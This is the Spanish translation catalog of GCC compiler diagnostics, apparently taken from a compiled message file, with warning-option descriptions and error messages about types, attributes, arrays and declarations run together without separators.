sobre las cadenas de formato que contengan bytes NULAvisa sobre parámetros de función declarados sin un especificador de tipo en funciones de estilo K&RAvisa sobre la aritmética de punteros de funcionesAvisa sobre funciones que pueden ser candidatas para __attribute((noreturn))Avisa por funciones que pueden ser candidatas para atributos de formatoAvisa sobre funciones globales sin declaraciones previasAvisa sobre funciones globales sin prototiposAvisa sobre la declaración implícita de funcionesAvisa sobre la aritmética de punteros de funcionesAvisa sobre usos inválidos de la macro "offsetof"Avisa sobre macros definidas en el fichero principal que no se usanAvisa sobre '&' faltantes en las literales de carácter continuadasAvisa sobre campos faltantes en los inicializadores de structAvisa sobre malos usos de pragmasAvisa sobre declaraciones múltiples del mismo objetoAvisa sobre cadenas Unicode que no están normalizadasAvisa sobre destructores que no son virtualesAvisa sobre extensiones de anchura scanf/printf msvcrt que no son ISODesactiva las optimizaciones que asumen que un desbordamiento con signo está indefinidoAvisa sobre desbordamiento por debajo en expresiones numéricasAvisa sobre nombres de funciones virtual sobrecargadasAvisa sobre sobreescritura de inicializadores sin efectos secundariosAvisa sobre campos de bits packed cuyo desplazamiento cambió en GCC 4.4Avisa sobre conversión de punteros que incremente la alineaciónAvisa sobre posibles aliases de argumentos de rellenoAvisa sobre posibles problemas de seguridad con funciones de formatoAvisa sobre posibles violaciones a las reglas de secuencia de puntoAvisa sobre posibles llaves faltantes alrededor de los inicializadoresAvisa sobre posibles paréntesis faltantesAvisa sobre la posibilidad de bloques de comentarios anidados, y comentarios de C++ que abarquen más de una línea físicaAvisa sobre anomalías de cadena de formato de printf/scanf/strftime/strfmonAvisa sobre la devolución de estructuras, unions o matricesAvisa sobre comparaciones signo-sin signoAvisa sobre elementos sobrantes después de #elif y #endifAvisa sobre formatos de strftime que producen dos dígitos para el añoAvisa sobre subíndices cuyo tipo es "char"Avisa sobre declaraciones sospechosas de "main"Avisa sobre usos sospechosos de direcciones de memoriaAvisa sobre cosas que cambiarán cuando se compile con un compilador que cumpla con la ABIAvisa sobre expresiones de carácter truncadasAvisa sobre líneas de código truncadasAvisa sobre NULL sin conversión usado como sentinelaAvisa sobre desbordamiento por debajo de expresiones numéricas constantesAvisa sobre variables automáticas sin inicializarAvisa sobre declaraciones de función sin prototipoAvisa sobre pragmas que no se reconocenAvisa sobre el uso de constantes de carácter multicaracteresAvisa sobre directorios de inclusión definidos por el usuario que no existenAvisa sobre usos de declaraciones __attribute__((obsoleto))Avisa sobre variables que pueden cambiar por "longjmp" o "vfork"Avisa sobre variables que se inicialicen ellas mismasAvisa sobre violaciones de reglas de estilo de Effective C++Avisa sobre formatos de longitud ceroAvisa cuando hay conversiones de tipo implícitas entre enteros con signo y sin signoAvisa cuando hay conversiones de tipo implícitas que pueden cambiar un valorAvisa por un usage obsoleto en una declaraciónAvisa si los ficheros .class están desactualizadosAvisa si se usa una conversión de estilo C en un programaAvisa si la comparación es siempre verdadera o siempre falsa debido al rango limitado del tipo de datosAvisa si se usa una opción de compilador, clase, método o campo obsoletosAvisa si una función usa alloca o crea una matriz de tamaño dinámicoAvisa si un selector tiene métodos múltiplesAvisa si el tamaño de marco de una sola función excede el tamaño de marco dadoAvisa si una cadena es más larga que la longitud transportable máxima especificada por el estándarAvisa si un procedimiento de usuario tiene el mismo nombre que un intrínsecoAvisa si se usa una matriz de longitud variableAvisa si se accede a una matriz fuera de los límitesAvisa si un objeto es más grande que <número> bytesAvisa si se usa un parámetro de estilo antiguo en una definiciónAvisa si se usa una macro indefinida en una directiva #ifAvisa si se encuentran declaraciones vacías obsoletasAvisa si los métodos heredados no están implementadosAvisa si se especifican modificadores cuando no son necesariosAvisa si se pasan demasiados argumentos a una función para su cadena de formatoAvisa si se prueban números de coma flotante para equidadAvisa si el ciclo no se puede optimizar debido a presunciones no triviales.Avisa si se encuentran trigrafos que puedan afectar el significado del programaAvisa si los firmas de tipo de los métodos candidatos no coinciden exactamenteAvisa en lugar de dar error en perfiles case en -fprofile-use que no coincidanAvisa de prototipos que causen diferentes conversiones de tipo de las que sucederían en la ausencia del prototipoAvisa sobre intrínsecos que no son parte del estándar seleccionadoAvisa cuando se usan las funciones internas __sync_fetch_and_nand y __sync_nand_and_fetchAvisa cuando se emite una instrucción microcodificada CellAvisa cuando una macro de preprocesador interna está sin definir o redefinidaAvisa cuando una declaración no especifique un tipoAvisa cuando se encuentra una declaración después de una declaraciónAvisa cuando no se usa una funciónAvisa cuando no se usa un parámetro de una funciónAvisa cuando no se usa una etiquetaAvisa cuando un operador lógico sospechosamente siempre evalúa a verdadero o falsoAvisa cuando un puntero difiere en signo en una asignaciónAvisa cuando hay una conversión de puntero a entero de tamaño diferenteAvisa cuando una variable de registro se declara volatileAvisa cuando un marco de pila sea más grande que el tamaño especificadoAvisa cuando no se usa una variableAvisa cuando todos los constructores y destructores son privadosAvisa cuando no se usa un valor de una expresiónAvisa cuando una función incluída en línea no se puede incluir en líneaAvisa cuando se desactiva un paso de optimizaciónAvisa cuando se convierte el tipo de punteros sobre punteros a funciones miembroAvisa cuando las funciones friend sin plantillas se declaran dentro de una plantillaAvisa cuando no se está usando la protección contra destrucción de la pila por alguna razónAvisa cuando una variable local oscurece otraAvisa cuando la sobrecarga promueve de unsigned a signedAvisa cuando se requiere relleno para alinear a los miembros de una estructuraAvisa cuando el compilador reordena códigoAvisa cuando el atributo packed no tiene efecto en la disposición de un structAvisa cuando hay una conversión a puntero desde un entero de tamaño diferenteAvisa cuando el tipo de devolución por defecto de una función cambia a "int" (C), o sobre tipos de devolución inconsistentes (C++)Avisa cuando se intercepte una asignación Objective-C por el recolector de basuraAvisa cada vez que se ignoran los calificadores de tipo.Aviso:Aviso: Usar -M <directorio> es obsoleto; utilice en su lugar -J
Cuando no se proporcione "signed" o "unsigned" hace signed el campo de bitsCuando no se proporcione "signed" o "unsigned" hacer unsigned el campo de bitsAl generar código -mabicalls, permite que los ejecutables usen PLTs y copien reubicacionesAl generar código -mabicalls, hace que el código sea adecuado para su uso en bibliotecas compartidasCuando sea posible no genera marcos de pilaCuando se esté ejecutando CSE, sigue los saltos condicionalesCuando se esté ejecutando CSE, sigue los saltos a sus objetivosCuando se establece a 1, usa métodos costosos para eliminar todas las restricciones redundantesDónde usar tipos canónicosAl establecer el manejador de señales: %mAl establecer la pila de señales: %mSin relleno, no hay suficientes elementos en el intrínseco RESHAPE fuente en %L para coincidir con la formaEvita el error mflo/mfhi del VR4130Evita una anomalía de hardware agregando un número de NOPs antes de unEvita el error de hardware de los primeros 4300Evita el bicho en la instrucción de multiplicaciónEvita errores de ciertos R10000Evita errores de ciertos R4000Evita errores de ciertos R4400Evita errores de ciertos VR4120Evita los errores para núcleos tempranos SB-1 revisión 2Evita el bicho de multiplicación de hardwareEscribe la salida de dependencias al fichero dadoEscribiendo el módulo %s en la línea %d columna %d: %sLista errónea de ciclos terminados para el borde %d->%dVersión de módulo '%s' errónea (se esperaba 'XXX entrando a pop_everything ()
XXX is_class_level != (current_scope == class_scope)
XXX saliendo de pop_everything ()
Cero no es una declaración de etiqueta válida en %CAnchura cero en el descriptor de formato[Saliendo de %s]
[no se puede encontrar %s][desactivado][activado][super ...] debe aparecer en el contexto de un métodono se permite el atributo __BELOW100__ con una clase de auto almacenamientono se admite __builtin_eh_return en este objetivono se admite __builtin_saveregs en este subobjetivono se admite __builtin_saveregs en este objetivo__es_convertible_alas declaraciones __label__ sólo se permiten en ámbitos de función`el atributo `%s' se aplica solamente a funcionesel argumento del atributo `%s' no es una constante enterael argumento del atributo `%s' debe estar entre 0 y 255el argumento del atributo `%s' debe estar entre 18 a 255no se puede especificar el atributo `%s' para las variables localesse descarta el atributo `%s'no se admite el atributo `%s' para el objetivo R8Cel atributo `%s' se aplica solamente a funcionesel atributo `%s' solamente se aplica a variablesuna conversión a un tipo diferente de un tipo integral o de enumeración no puede aparecer en una expresión constanteuna etiqueta sólo puede ser parte de una declaración y una declaración no es un enunciadoun miembro de una estructura o union no puede tener un tipo modificado variablementeuna lista de parámetros con una elipsis no puede coincidir con una declaración de nombre de lista de parámetros vacía.una clase de almacenamiento sólo se puede especificar para objetos y funcionesuna declaración de uso no puede especificar un id de plantilla.  Intente %<using %D%>bordes anormales sin ningún propósito en bb %iaborto en %s, en %s:%del declarador abstracto %qT se usó como declaraciónel acumulador no es una constante enterael número del acumulador está fuera de los límitesel área de dirección de %q+D genera un conflicto con la declaración previase solicitó la dirección de la variable register explícita %qDse solicitó la dirección de la variable de registro global %qDse solicitó la dirección de la variable de registro global %qsse devolvió la dirección de la variable local %q+Dse solicitó la dirección de la variable de registro %qDse solicitó la dirección de la variable de registro %qsel desplazamiento de dirección no es una constanteel operando de dirección requiere una restricción para los registros X, Y, o Zse solicitó la dirección de %qD, la cual se declaró como %<register%>se tomó la dirección, pero el bit ADDRESSABLE no está activadodespués de la declaración previa de %q+Ddespués de la especificación previa en %q+#Del agregado %q#D tiene un tipo incompleto y no se puede definirse usó un valor agregado donde se esperaba un complejose usó un valor agregado donde se esperaba uno de coma fijase usó un valor agregado donde se esperaba un floatse usó un valor agregado donde se esperaba un enteroel argumento de alias no es una cadenalas definiciones de alias no se admiten en Mach-O; descartadasla alineación (%u) para %s excede la alineación máxima para los datos comunes globales.  Se usará %ula alineación para %q+D debe ser por lo menos %dla alineación para %q+D se especifió previamente como %d y no se puede decrementarla alineación puede no estar especificada para %q+Dla alineación debe ser una potencia pequeña de dos, no %dla alineación de %q+D es mayor que la alineación máxima del fichero objeto. Se usa %dla alineación de los elementos de la matriz es mayor que el tamaño de los elementostodos las funciones miembros en la clase %qT son privadasel parámetro de alloc_size está fuera de rangohace ambigua la declaración interna %q#Dhace ambigua la declaración antigua %q+#Dabreviación ambigua %sinstanciación de plantilla clase ambigua para %q#Tconversión ambigua para índice de matrizconversión de tipo por defecto ambigua desde %qTespecialización de plantilla %qD ambigua para %q+Dun tipo de argumento que tiene una promoción por defecto no puede coincidir con una declaración de nombre de lista de parámetros vacía.anacronismo: inicializador de clase base de estilo antiguo anacrónicoel %s anónimo se declaró dentro de una lista de parámetrosstruct anónimo no está dentro de un tipo nombradounion anónima sin miembrosla aplicación de #pragma weak %q+D después del primer uso resulta en conducta no especificadalos argumentos que recibirán formato no son %<...%>el argumento %d de %qE puede ser un candidato para un atributo de formatoel argumento %q+D puede ser sobreescrito por %<longjmp%> o %<vfork%>el argumento %qD no coincide con el prototipo internoel argumento %qD no coincide con el prototipoel argumento %qd no es una constanteno se reconoce el argumento %qs para %<-Wnormalized%>no se reconoce el argumento %qs para %<-femit-struct-debug-detailed%>argumento desconocido %qs para %<-femit-struct-debug-detailed%>el argumento 1 debe ser una literal con signo de 5-bitel argumento 1 de __builtin_altivec_predicate está fuera de rangoel argumento 1 de __builtin_altivec_predicate debe ser una constanteel argumento 1 de __builtin_paired_predicate está fuera de rangoel argumento 1 de __builtin_paired_predicate debe ser una constanteel argumento 1 de __builtin_spe_predicate está fuera de rangoel argumento 1 de __builtin_spe_predicate debe ser una constanteel argumento 2 debe ser una literal sin signo de 5-bitel argumento 3 debe ser una literal sin signo de 4-bitla búsqueda dependiente del argumento encuentra %q+Del argumento debe ser una constanteel argumento de %<__builtin_args_info%> debe ser una constanteel argumento de %<__builtin_args_info%> está fuera de rangoel argumento de %<__builtin_eh_return_regno%> debe ser constanteel argumento del atributo %qs no es "ilink1" o "ilink2"el argumento del atributo %qs no es una cadena constanteel argumento de la llamada a función puede ser un candidato para un atributos de formatoel argumento de tipo %qT no coincide con %qTel argumento para "%s" debe ser un entero no negativoel argumento para el atributo %qs es más grande que %del argumento para %qs debe ser una literal sin signo de 2-bitfalta el argumento para '%s'falta el argumento para '%s'
falta el argumento para '-%s'falta el argumento para '-B'falta el argumento para '-Xassembler'falta el argumento para '-Xlinker'falta el argumento para '-Xpreprocessor'falta el argumento para '-l'falta el argumento para '-specs'falta el argumento para '-specs='falta el argumento para '-wrapper'falta el argumento para '-x'el argumento para decltype debe ser una expresiónel argumento para dss debe ser una literal sin signo de 2-bitno se permiten argumentos para el destructorIF aritméticoaritmética en puntero a un tipo de dato incompletose asume que la matriz %q+D tiene un elementomatriz %qD inicializada con una constante de cadena entre paréntesis %qEasignación de matrizel límite de la matriz no es una constante enterala matriz no coincide con el árbol de regiónel índice de matriz en el inicializador excede los límites de la matrizel índice de matriz en el inicializador no es de tipo enteroíndice de matriz en el inicializador que no es matrizel rango de índices de la matriz en el inicializador excede los límites de la matrizmatriz inicializada con una expresión matrizal que no es constantematriz inicializada con una constante de cadena entre paréntesisla matriz se debe inicializar con un inicializador dentro de llavesmatriz de tipo inapropiado inicializada con una constante de cadenafalta el tamaño de la matriz en %q+Dfalta el tamaño de la matriz en %qDel subíndice de la matriz es de tipo %<char%>el subíndice de la matriz no es un enteroel tipo matriz tiene tipo de elemento incompletose usó una matriz como inicializadorlas matrices de funciones no tienen significadocomo %qDla sobreescritura asm genera un conflicto con el operando de entradala sobreescritura asm genera un conflicto con el operando de salidase descarta la declaración asm debido a un conflicto con el renombrado previoel operando asm %d probablemente no coincide con las restriccioneslos calificadores asm para la variable %qs generan un conflicto con la lista de sobreescritura de asmassert: %s es compatible para asignación con %sfalta una aserción después de %qsasignaciónasignación (no inicialización) en la declaraciónla asignación descarta los calificadores del tipo del destino del punteroasignación desde un tipo Objective-C distintoasignación desde un tipo de puntero incompatibleel lado izquierdo de la asignación puede ser un candidato para un atributo de formatola asignación crea un entero desde un puntero sin una conversiónla asignación crea un puntero desde un entero sin una conversiónla asignación hace que la función calificada apunte desde una no calificadaasignación de la ubicación de sólo lectura %qEasignación del miembro de sólo lectura %qDasignación de la variable de sólo lectura %qDsupresión de la asignaciónla asignación para el campo final %q+D no está en el campo de la claseasumiendo la conversión al tipo %qT desde la función sobrecargadaasumiendo el puntero a miembro %qDse asume que el desbordamiento con signo no ocurre cuando se combinan constantes alrededor de una comparaciónse asume que el desbordamiento con signo no ocurre cuando se niega una divisiónse asume que el desbordamiento con signo no ocurre cuando se reduce la constante en comparaciónse asume que el desbordamiento con signo no ocurre al simplificar && o || a & o |se asume que el desbordamiento con signo no ocurre al simplificar ==, != o ! a identidad o ^se asume que el desbordamiento con signo no ocurre al simplificar el condicionalse asume que el desbordamiento con signo no ocurre al simplificar el condicional a constantese asume que el desbordamiento con signo no ocurre al simplificar la prueba de rangose asume que el contador de ciclos no se desbordase asume que el ciclo no es infinitoen este punto en el ficherose intentó tomar la dirección del miembro de la estructura de campos de bits %qDdeclaración de atributoel atributo para %q+#T debe estar a continuación de la palabra clave %qsse descarta el atributo en la declaración de %q+#Tel atributo interrupt_handler no es compatible con -m5-compactse desconoce attribute(target("%s"))se descartan los atributos después del inicializador entre paréntesisse descartan los atributos en un especificador de tipo elaborado que no es una declaración adelantadase descartan los atributos en la instanciación de una plantillase descartan los atributos en el tipo sin instanciarse descartan los atributos en los declaradores de parámetros de matrizla variable automática %qE no puede ser %<threadprivate%>campo aux establecido para el borde %s->%sya existe la declaración del extremo trasero para la variable de módulo %srango de PC erróneo para la información de depuración para %q+D localdirección erróneadirección errónea, no (reg+disp):dirección errónea, no hay post_inc o pre_dec:cantidad errónea de eliminación de espacio de pila: %dinicializador de matriz erróneocódigo interno erróneofcode interno erróneocódigo de condición erróneotipo de expresión errónea durante la caminata (%d)formato erróneo del archivo .zip/.jar
insn errónea para 'A'insn errónea en frv_print_operand, caso 0insn erróneo en frv_print_operand, const_double erróneainsn errónea en frv_print_operand, caso zinsn errónea para frv_print_operand, modificador 'F':insn errónea para frv_print_operand, modificador 'L':insn errónea para frv_print_operand, modificador 'M/N':insn errónea para frv_print_operand, modificador 'O':insn errónea para frv_print_operand, modificador 'e':insn errónea para frv_print_operand, modificador 'f':insn errónea para frv_print_operand, modificador 'g':insn errónea para frv_print_operand, modificador 'P':insn errónea para frv_print_operand_address:insn errónea para frv_print_operand_memory_reference:firma de método erróneaoperando output_condmove_single erróneooperando output_move_double erróneooperando output_move_single erróneopc erróneo en exception_tableregistro erróneoregistro erróneo para frv_print_operand_memory_reference_reg:desplazamiento insn erróneo:constante de cadena erróneaprueba erróneatipo erróneo en la información de parámetros de depuraciónvalor erróneo %<%s%> para el interruptor -mtls-size=valor erróneo %<%s%> para el interruptor -mtune=valor %qs erróneo para el interruptor -mcpuvalor %qs erróneo para el interruptor -mfp-rounding-modevalor %qs erróneo para el interruptor -mfp-trap-modevalor %qs erróneo para -mmemory-latencyvalor %qs erróneo para el interruptor -mtls-sizevalor %qs erróneo para el interruptor -mtrap-precisionvalor erróneo (%s) para el interruptor %svalor erróneo (%s) para %sarch=%s %svalor erróneo (%s) para %sasm=%s %svalor erróneo (%s) para el interruptor %scmodel=%s %svalor erróneo (%s) para %sfpmath=%s %svalor erróneo (%s) para %sstringop-strategy=%s %svalor erróneo (%s) para %stls-dialect=%s %svalor erróneo (%s) para %stune=%s %svalor erróneo (%s) para el interruptor -mcmodel=valor erróneo del tipo constante %d, índice %dvalor erróneo para -mcall-%svalor erróneo para -msdata=%sfichero zip/jar %s erróneoencabezados C mal anidados del preprocesadorla región de barrera puede no estar bien anidada dentro de la región de trabajo compartido, crítica, ordenada, maestra o de tarea explícitala base %qT se inicializará después dela clase base %q#T tiene un destructor no virtualla clase base %qT tiene calificadores cvla expansión del inicializador base %<%T%> no contiene paquetes de parámetroel operando base de %<->%> tiene el tipo %qT que no es punteroel operando base de %<->%> no es un punteroel tipo base %qT falla en ser un tipo struct o claseel borde pred del bloque básico %d está corruptoel bloque básico %d se debe marcar como irreducibleel bloque básico %d no se debe marcar como irreduciblelas listas de borde del bloque básico %i están corruptaslos bloques básicos no están ubicados consecutivamenteel bb %d no pertenece al ciclo %dbb %d en el lugar equivocadocampo de bits %q+#D con tipo no enterola anchura del campo de bits %q+D no es una constante enteracampo de bits %qD con tipo no integralel campo de bits %qs tiene un tipo inválidola anchura del campo de bits %qs no es una constante enterabloque IFconstrucción DISPOSE ambigua: %dconstrucción JARL ambigua: %d
construcción JR ambigua: %dconstrucción PREPARE ambigua: %dse requieren registros booleanos para la opción de coma flotantese usaron al mismo tiempo %<_Sat%> y %<%s%> en los especificadores de declaraciónse usaron al mismo tiempo %<_Sat%> y %<_Bool%> en los especificadores de declaraciónse usaron al mismo tiempo %<_Sat%> y %<_Decimal128%> en los especificadores de declaraciónse usaron al mismo tiempo %<_Sat%> y %<_Decimal32%> en los especificadores de declaraciónse usaron al mismo tiempo %<_Sat%> y %<_Decimal64%> en los especificadores de declaraciónse usaron al mismo tiempo %<_Sat%> y %<char%> en los especificadores de declaraciónse usaron al mismo tiempo %<_Sat%> y %<complex%> en los especificadores de declaraciónse usaron al mismo tiempo %<_Sat%> y %<double%> en los especificadores de declaraciónse usaron al mismo tiempo %<_Sat%> y %<float%> en los especificadores de declaraciónse usaron al mismo tiempo %<_Sat%> y %<int%> en los especificadores de declaraciónse usaron al mismo tiempo %<_Sat%> y %<void%> en los especificadores de declaraciónse usaron al mismo tiempo %<complex%> y %<%s%> en los especificadores de declaraciónse usaron al mismo tiempo %<complex%> y %<_Accum%> en los especificadores de declaraciónse usaron al mismo tiempo %<complex%> y %<_Bool%> en los especificadores de declaraciónse usaron al mismo tiempo %<complex%> y %<_Decimal128%> en los especificadores de declaraciónse usaron al mismo tiempo %<complex%> y %<_Decimal32%> en los especificadores de declaraciónse usaron al mismo tiempo %<complex%> y %<_Decimal64%> en los especificadores de declaraciónse usaron al mismo tiempo %<complex%> y %<_Fract%> en los especificadores de declaraciónse usaron al mismo tiempo %<complex%> y %<_Sat%> en los especificadores de declaraciónse usaron al mismo tiempo %<complex%> y %<void%> en los especificadores de declaraciónse usaron al mismo tiempo %<long long%> y %<%s%> en los especificadores de declaraciónse usaron al mismo tiempo %<long long%> y %<double%> en los especificadores de declaraciónse usaron al mismo tiempo %<long%> y %<%s%> en los especificadores de declaraciónse usaron al mismo tiempo %<long%> y %<_Bool%> en los especificadores de declaraciónse usaron al mismo tiempo %<long%> y %<_Decimal128%> en los especificadores de declaraciónse usaron al mismo tiempo %<long%> y %<_Decimal32%> en los especificadores de declaraciónse usaron al mismo tiempo %<long%> y %<_Decimal64%> en los especificadores de declaraciónse usaron al mismo tiempo %<long%> y %<char%> en los especificadores de declaraciónse usaron al mismo tiempo %<long%> y %<float%> en los especificadores de declaraciónse usaron al mismo tiempo %<long%> y %<short%> en los especificadores de declaraciónse usaron al mismo tiempo %<long%> y %<void%> en los especificadores de declaraciónse usaron al mismo tiempo %<short%> y %<%s%> en los especificadores de declaraciónse usaron al mismo tiempo %<short%> y %<_Bool%> en los especificadores de declaraciónse usaron al mismo tiempo %<short%> y %<_Decimal128%> en los especificadores de declaraciónse usaron al mismo tiempo %<short%> y %<_Decimal32%> en los especificadores de declaraciónse usaron al mismo tiempo %<short%> y %<_Decimal64%> en los especificadores de declaraciónse usaron al mismo tiempo %<short%> y %<char%> en los especificadores de declaraciónse usaron al mismo tiempo %<short%> y %<double%> en los especificadores de declaraciónse usaron al mismo tiempo %<short%> y %<float%> en los especificadores de declaraciónse usaron al mismo tiempo %<short%> y %<void%> en los especificadores de declaraciónse usaron al mismo tiempo %<signed%> y %<%s%> en los especificadores de declaraciónse usaron al mismo tiempo %<signed%> y %<_Bool%> en los especificadores de declaraciónse usaron al mismo tiempo %<signed%> y %<_Decimal128%> en los especificadores de declaraciónse usaron al mismo tiempo %<signed%> y %<_Decimal32%> en los especificadores de declaraciónse usaron al mismo tiempo %<signed%> y %<_Decimal64%> en los especificadores de declaraciónse usaron al mismo tiempo %<signed%> y %<double%> en los especificadores de declaraciónse usaron al mismo tiempo %<signed%> y %<float%> en los especificadores de declaraciónse usaron al mismo tiempo %<signed%> y %<unsigned%> en los especificadores de declaraciónse usaron al mismo tiempo %<signed%> y %<void%> en los especificadores de declaraciónse usaron al mismo tiempo %<unsigned%> y %<%s%> en los especificadores de declaraciónse usaron al mismo tiempo %<unsigned%> y %<_Bool%> en los especificadores de declaraciónse usaron al mismo tiempo %<unsigned%> y %<_Decimal128%> en los especificadores de declaraciónse usaron al mismo tiempo %<unsigned%> y %<_Decimal32%> en los especificadores de declaraciónse usaron al mismo tiempo %<unsigned%> y %<_Decimal64%> en los especificadores de declaraciónse usaron al mismo tiempo %<unsigned%> y %<double%> en los especificadores de declaraciónse usaron al mismo tiempo %<unsigned%> y %<float%> en los especificadores de declaraciónse usaron al mismo tiempo %<unsigned%> y %<void%> en los especificadores de declaraciónambos argumentos de %<__builtin_clear_cache%> deben ser punterosla especificación entre llaves '%s' es inválida en '%c'el cuerpo de la especificación entre llaves '%s' es inválidoun grupo de llaves dentro de una expresión sólo se permite dentro de una funciónllaves alrededor del inicializador escalarllaves alrededor del inicializador escalar para el tipo %qTla ramificacion %2d nunca se ejecuta
ramificación %2d tomada %s%s
la optimización de carga de registro objetivo no se pensó para ser ejecutada dos vecesla declaración break no está dentro de un ciclo o switchse usó la declaración break en un ciclo for de OpenMPla función interna %q+D no se declara como funciónno se admite la función interna %qs para MIPS16la llamada %2d nunca se ejecuta
la llamada %2d devuelve %s
bordes de llamada para una insn que no es llamada en bb %ila llamada es poco probable y el tamaño del código podría crecerla llamada de %<(%T) (%A)%> es ambiguala llamada del %<%D(%A)%> sobrecargado es ambiguala llamada del %<%s(%A)%> sobrecargado es ambiguallamada a %<catch%> ó %<throw%> de Java con %<jthrowable%> sin definirllamado a constructor Java con %qs sin definirllamado a constructor Java, mientras %<jclass%> está indefinidollamada a la función %qD la cual arroja el tipo incompleto %q#Tllamada a una función la cual arroja el tipo incompleto %q#Tllamada a %qD que no es funciónregistro de llamada alterada usado para una variable de registro globalllamado desde aquíel objeto %qE llamado no es una funciónla cuenta de borde llamador es negativala frecuencia de borde llamador es negativala frecuencia de borde llamador es demasiado grandeno se puede usar -mtp=cp15 con Thumb de 16-bitno se puede usar un objeto como un parámetro para un métodosolo se puede usar el atributo %qE en definiciones de rango de fichero de objetos de tipo classno se puede crear el encabezado precompilado %s: %mno se pueden mezclar operandos de tipos de coma flotante decimal y complejosno se pueden mezclar operandos de tipos de coma flotante decimal otros tipos de coma flotanteno se pueden mezclar operandos de tipos de coma flotante decimal y vectorno se puede abrir %s para escritura: %mno se puede abrir %s: %mno se puede leer %s: %mno se puede buscar en %s: %mno se puede escribir %s: %mno se puede escribir a %s: %mno se pueden aplicar los atributos longcall y shortcall al mismo tiempo a la misma funciónno se puede cerrar el fichero de entrada %s: %mno se puede convertir entre valores vectoriales de tamaños diferentesno se puede convertir desde el tipo de dato incompleto %qT a %qTno se puede convertir el valor a un vectorno se puede crear el fichero de información de repositorio %qsno se puede definir la función friend %qs en una definición de clase localno se puede hacer la revisión de dependencias con entrada desde entrada estándarno se puede extender el fichero PCH: %mno se puede encontrar %<class$%> en %qTno se puede encontrar un registro en la clase %qs al recargar %<asm%>no se puede obtener la posición en el fichero PCH: %mno se puede obtener el estado del programano se puede inicializar la función friend %qsno se puede hacer %qD en un método -- no está en una claseno se puede abrir %s: %mno se puede abrir el fichero de entrada: %sno se puede abrir la salida de lddno se puede abrir la salida de nmno se puede leer el fichero PCH: %mno se puede buscar en el fichero PCH: %mno se puede establecer la posición en el fichero PCH: %mno se puede especificar '-D' sin '--main'
no se puede usar '%s' como un registro %sno se puede escribir el fichero PCHno se puede escribir el fichero PCH: %mno se puede escribir relleno al fichero PCH: %mcandidato 1:candidato 2:el candidato es: %+#Dlos candidatos son:los candidatos son: %+#Dno se puede asignar un objeto de tipo abstracto %qTno se puede aplicar %<offsetof%> al destructor %<~%T%>no se puede aplicar %<offsetof%> a la función miembro %qDno se puede aplicar %<offsetof%> al dato miembro static %qDno se puede aplicar %<offsetof%> cuando %<operator[]%> está sobrecargadono se puede aplicar el puntero a miembro %qE a %qE, el cual es del tipo %qT que no es claseno se puede unir el campo de bits %qE a %qTno se unir el campo packed %qE a %qTno se puede unir el r-valor %qE a %qTno se puede llamar a la función miembro %qD sin un objetono se puede convertir %qE desde el tipo %qT al tipo %qTno se puede convertir %qT a %qT para el argumento %qP para %qDno se puede convertir %qT a %qT en %sno se puede convertir de la base %qT al tipo derivado %qT a través de la base virtual %qTno se puede convertir a un tipo punterono se puede convertir el tipo %qT al tipo %qTno se puede crear un puntero al miembro referencia %qDno se puede crear el fichero temporalno se puede crear la información de tipo para el tipo %qT porque involucra tipos de tamaño variableno se puede declarar %<::main%> como plantillano se puede declarar %<::main%> como inlineno se puede declarar %<::main%> como staticno se puede declarar %qD que sea un tipo de campo de bitsno se puede declarar %s para el tipo de función calificado %qTno se puede declarar el campo de bits %qD con un tipo de funciónno se puede declarar que el campo %q+D sea de tipo abstracto %qTno se puede declarar el miembro %<%T::%s%> dentro de %qTno se puede declarar que la función miembro %qD tenga enlazado estáticono se puede declarar que el parámetro %q+D sea del tipo abstracto %qTno se puede declarar el puntero a %q#Tno se puede declarar el puntero al miembro %q#Tno se puede declarar la referencia a %q#Tno se puede declarar la referencia a %q#T, el cual no es una definición de tipo o un argumento de tipo de plantillano se puede declarar una función static dentro de otra funciónno se puede declarar que la variable %q+D sea del tipo abstracto %qTno se puede descomponer la direcciónno se puede decrementar un puntero a un tipo incompleto %qTno se puede definir la función miembro %<%T::%s%> dentro de %<%T%>no se puede borrar una función.  Solamente los punteros a objetos son argumentos válidos para %<delete%>no se puede desactivar la función interna %qsno se puede reemplazar el registro-zno se puede hacer dynamic_cast %qE (de tipo %q#T) al tipo %q#T (%s)no se puede expandir %<%E%> a una lista de argumentos de longitud fijano se puede expandir %<%T%> a na lista de argumentos de longitud fijano se puede declarar explícitamente que el miembro %q#D tenga un enlazado externono se puede encontrar '%s'no se puede encontrar 'ldd'no se puede encontrar 'nm'no se puede encontrar la clase %qsno se puede encontrar el fichero para la clase %sno se puede encontrar la declaración de interfaz para %qsno se puede encontrar la declaración de interfaz para %qs, superclase de %qsno se puede encontrar la declaración de protocolo para %qsno se puede encontrar la marca de referencia para la clase %qsno se pueden manejar llamadas inconsistentes a %qsno se puede incrementar un puntero a un tipo incompleto %qTno se pueden inicializar %qT desde %qTno se puede inicializar el agregado del tipo %qT con una literal compuestano se puede inicializar matrices usando esta sintaxisno se pueden inicializar matrices multidimensionales con el inicializadorno se puede incluir en línea la función %<main%>no se pueden mezclar contadores %s separados para la función %uno se puede abrir %sno se puede optimizar el ciclo, el contador de ciclo se puede desbordarno se pueden optimizar los posibles ciclos infinitosno se puede pasar argumentos en el registro vector porque las instrucciones altivec están desactivadas, use -maltivec para activarlasno se puede pasar objetos de tipo %q#T que no es POD a través de %<...%>; la llamada abortará en tiempo de ejecuciónno se puede pasar un valor-r a un parámetro de referenciano se puede poner un objeto con un campo volatile en registerno se puede recibir objetos de tipo %q#T que no es POD a través de %<...%>; la llamada abortará en tiempo de ejecuciónno se puede recargar operandos constantes enteros en %<asm%>no se puede resolver la función sobrecargada %qD basándose en la conversión al tipo %qTno se puede regresar de un manejador de una función-intenta-bloque de un constructorno se puede devolver un valor en el registro vector porque las instrucciones altivec están desactivadas, use -maltivec para activarlasno se puede establecer el atributo de interrupción: no hay una función actualno se puede establecer el atributo de interrupción: no hay tal identificadorno se puede especificar la clase 'main' cuando no se está enlazandono se puede especificar -o con -c ó -S y con múltiples ficherosno se pueden especificar -C y -o al mismo tiempono se pueden especificar -msep-data y -mid-shared-library al mismo tiempono se puede tomar la dirección del campo de bits %qDno se puede tomar la dirección de %<this%> que es una expresión r-valuadano se puede usar %<::%>  en la declaración de parámetrosno se puede usar el modo %qs para tipos de enumeraciónno se pueden usar mshared y static juntosno se pueden usar mthreads y mlegacy-threads juntosno se pueden usar accesos de data small para %qsno se puede usar typeid sin -fno-rttino se puede usar va_start en una función de interrupciónlos tipos canónicos difieren para los tipos idénticos %T y %Tla etiqueta de `case' no se reduce a una constante enterala etiqueta case en el ámbito de un identificador con tipo modificado 